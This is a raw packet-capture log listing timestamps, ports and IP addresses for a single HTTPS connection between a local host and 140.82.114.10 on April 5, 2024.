Apr 5, 2024 20:10:29.865362883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865408897 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865422010 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865422010 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865426064 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865441084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865468025 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865484953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865514994 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865518093 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865550041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865571022 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865586042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865607023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865607977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865607977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865617990 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865634918 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865669966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865685940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865689993 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865689993 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865695000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865710020 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865736008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865753889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865765095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865767956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865782976 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865797997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865813017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865828037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865832090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865865946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865869999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865869999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865892887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865895987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865905046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865921021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865925074 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865951061 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865955114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865971088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.865982056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.865987062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866014957 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866019964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866031885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866040945 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866049051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866075993 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866076946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866086006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866103888 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866108894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866137981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866159916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866163015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866173983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866185904 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866189957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866216898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866219997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866236925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866250038 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866264105 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866264105 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866269112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866316080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866328955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866328955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866332054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866339922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866348028 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866377115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866389990 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866389990 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866396904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866404057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866425991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866427898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866466999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866466999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866472006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866481066 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866496086 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866499901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866539955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866554976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866559982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866564035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866574049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866580009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866612911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866617918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866626978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866652966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866672993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866678953 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866683006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866699934 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866699934 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866703987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866727114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866770029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866771936 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866771936 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866780996 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866797924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866811037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866820097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866821051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866847038 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866851091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866880894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866899014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866909027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866939068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866955042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866970062 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.866976023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.866985083 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867012024 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867031097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867031097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867034912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867058992 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867064953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867083073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867110014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867113113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867136002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867137909 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867155075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867187023 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867191076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867213011 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867218971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867234945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867269993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867286921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867295027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867295027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867300034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867316008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867333889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867358923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867362022 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867388964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867398977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867408037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867436886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867439985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867461920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867461920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867480040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867507935 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867511988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867532015 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867532969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867548943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867573977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867577076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867588997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867598057 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867609024 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867660999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867677927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867677927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867685080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867708921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867723942 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867733002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867779970 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867794037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867801905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867801905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867805958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867816925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867844105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867851019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867856979 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867862940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867876053 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867897034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867912054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867912054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867919922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867942095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.867966890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867989063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.867991924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868000031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868016958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868042946 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868043900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868047953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868072987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868088007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868099928 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868139029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868156910 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868159056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868159056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868165970 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868210077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868232965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868235111 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868235111 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868243933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868257999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868294954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868329048 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868331909 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868349075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868359089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868362904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868417978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868429899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868432999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868433952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868438959 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868457079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868480921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868498087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868506908 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868510962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868524075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868541956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868556023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868568897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868575096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868593931 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868597031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868616104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868644953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868662119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868675947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868679047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868697882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868719101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868737936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868746996 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868750095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868766069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868793964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868810892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868818045 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868822098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868838072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868850946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868865013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868875980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868880033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868910074 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868933916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868933916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868942976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868959904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.868966103 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.868982077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869009018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.869012117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869033098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869040012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.869046926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869107008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869124889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869132042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.869138002 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869158030 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.869179010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869194031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869205952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.869210958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869220972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.869230986 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.869245052 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.869364023 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.869368076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.870031118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.870045900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.870151043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.870151043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.870156050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.871284962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.871298075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.871387959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.871387959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.871393919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.872359991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.872375011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.872473955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.872473955 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.872478962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.873294115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.873307943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.873395920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.873400927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.873442888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.874438047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.874452114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.874581099 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.874587059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.875550985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.875565052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.875850916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.875855923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.882874012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.916517019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.916546106 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.916626930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.916626930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.916640043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.951675892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.951700926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.951739073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.951766014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.951773882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.951853037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.951853037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.953071117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.953087091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.953227997 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.953233957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.955511093 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.955529928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.955611944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.955611944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.955617905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.955912113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.955925941 CEST	443	49727	140.82.114.10	192.168.2.6
